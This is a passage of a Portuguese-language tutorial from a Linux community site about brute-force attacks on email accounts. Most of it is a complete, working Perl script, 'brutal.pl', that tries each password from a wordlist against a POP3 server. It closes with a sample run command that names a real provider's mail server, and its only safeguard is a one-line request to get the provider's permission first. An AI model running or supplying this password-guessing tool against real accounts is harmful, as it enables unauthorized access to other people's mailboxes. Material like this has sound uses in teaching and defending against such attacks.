O que é e como funciona um ataque de força bruta

Artigo que explica de forma prática uma das mais clássicas técnicas de tentativas de invasão de sistemas. No artigo criaremos um script em Perl que tenta adivinhar a senha de um usuário de email qualquer.

[ Hits: 92.739 ]

Por: Fábio Berbert de Paula em 06/11/2002 | Blog: https://youtube.com/c/cotidianohackeado


Implementando o brutal.pl



O objetivo do brutal.pl é tentar adivinhar a senha de um usuário de determinado servidor de email. O programa receberá um arquivo com uma lista de senhas chutadas e tentará se conectar ao servidor usando cada uma delas.

Para começar, vamos analisar quais informações serão necessárias ao script. Precisamos saber qual é o servidor de email, o usuário-alvo e caminho para o arquivo com as senhas chutadas. Mas que diabos é este arquivo de senhas chutadas ? Simples, se conheço o usuário [email protected] e sei que ele adora uma purinha, sua senha deve ser algo parecido com algum tipo ou nome de bebida, assim posso criar um arquivo de senhas chutadas na seguinte forma:
cachaça
pinga
caninha51
martini
vodka
conhaque
...
Você também pode automatizar o processo de criação do arquivo de senhas chutadas através do comando mkpasswd.

A primeira etapa de nosso programa será capturar as informações necessárias ou abortar a execução caso faltem argumentos. No bloco abaixo, executaremos,respectivamente:
  • carregar módulos
  • verificar a quantidade de parâmetros recebidos
  • atribuir parâmetros à variáveis
  • verificar se arquivo de senhas existe
#!/usr/bin/perl

# vamos carregar os módulos usados pelo script
use strict;
use IO::Socket;

if ($#ARGV != 2) {
print "Use: \n\t$0 popserver username passwd_list\n\nOnde:\n";
print "\tpopserver = servidor de email\n\tusername = nome do usuário\n";
print "\tpasswd_list = arquivo com a lista de senhas que serão enviadas para teste\n\n";
exit(0);
}

# atribua os parâmetros à variáveis
my ($server,$user,$pwfile) = @ARGV;

if (! -f $pwfile) {
print "Erro: $pwfile não é um nome de arquivo válido!\n";
exit;
}

Em seguida abriremos o arquivo de senhas para leitura e, para cada senha encontrada, executaremos o procedimento de tentativa de login:
# para cada senha, tente invadir
open(R,$pwfile);
while (<R>) {
chomp;
tryout($server,$user,$_);
}
close(R);
Abaixo as funções tryout e readsock:
sub tryout {
my ($server,$user,$passwd) = @_;
my $state;

my $connex = new IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => "110",
Proto => "tcp",
Type => SOCK_STREAM,
Timeout => "30"
);

if (!defined($connex)) {
print "Erro ao conectar ao servidor $server ...\n";
exit(0);
}

$state = &readsock($connex);
$connex->send("USER $user\r\n");
$state = &readsock($connex);
if ($state !~ /^\+OK/) { next; }
$connex->send("PASS $passwd\r\n");
$state = &readsock($connex);

if ($state =~ /^\+OK/) {
print "Cracked!!! A senha do usuário $user é $passwd\n";
exit;
}

$connex -> close;
sleep(5);
}

sub readsock {
my ($socket) = @_;
my $data = '';
my $buf = '';
while ($buf !~ /\n$/) {
$buf=<$socket>;
$data .= $buf;
}
return $data;
}
Clique aqui para fazer o download do código completo do script comentado no artigo.

Para executar o programa, utilize a seguinte sintaxe:

perl brutal.pl pop.uol.com.br usuario-alvo caminho/arquivo/senhas.txt

Esse programa é apenas uma demonstração das técnicas utilizadas em ataques por força bruta. Um dos principais programas da categoria é o John The Ripper, usado para quebra de senhas criptografadas em servidores UNIX.

Não utilizem este programa sem a autorização prévia de seu provedor Internet.

Atenciosamente,
Fábio Berbert de Paula
[email protected]

Página anterior    

Páginas do artigo
   1. Introdução
   2. Implementando o brutal.pl
Outros artigos deste autor

Enviando email em formato HTML em PHP

Tecnologia a seu favor: 3 motivos para ter um sistema financeiro e ganhar tempo no trabalho

Transferindo arquivos com o rsync

Minha caixa de ferramentas no GNU/Linux

A trajetória do Viva o Linux - retrospectiva 2003/2004

Leitura recomendada

AUDIT: Auditoria de arquivos no Linux para conhecer quem fez alterações em arquivos

Nmap do início ao fim (parte 1)

Introdução ao ModSecurity

Escondendo banners de serviços

Entendendo as permissões no Linux

  
Comentários
[1] Comentário enviado por shaitannechrist em 05/10/2007 - 11:12h

hauhsuahsuhsa


Cachaceiro Detected!!!

[2] Comentário enviado por diogovh em 11/11/2014 - 16:50h

belo post cada vez que entro aqui aprendo mais e mais, espero esta no caminho certo para segurança da informação!!!!!


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts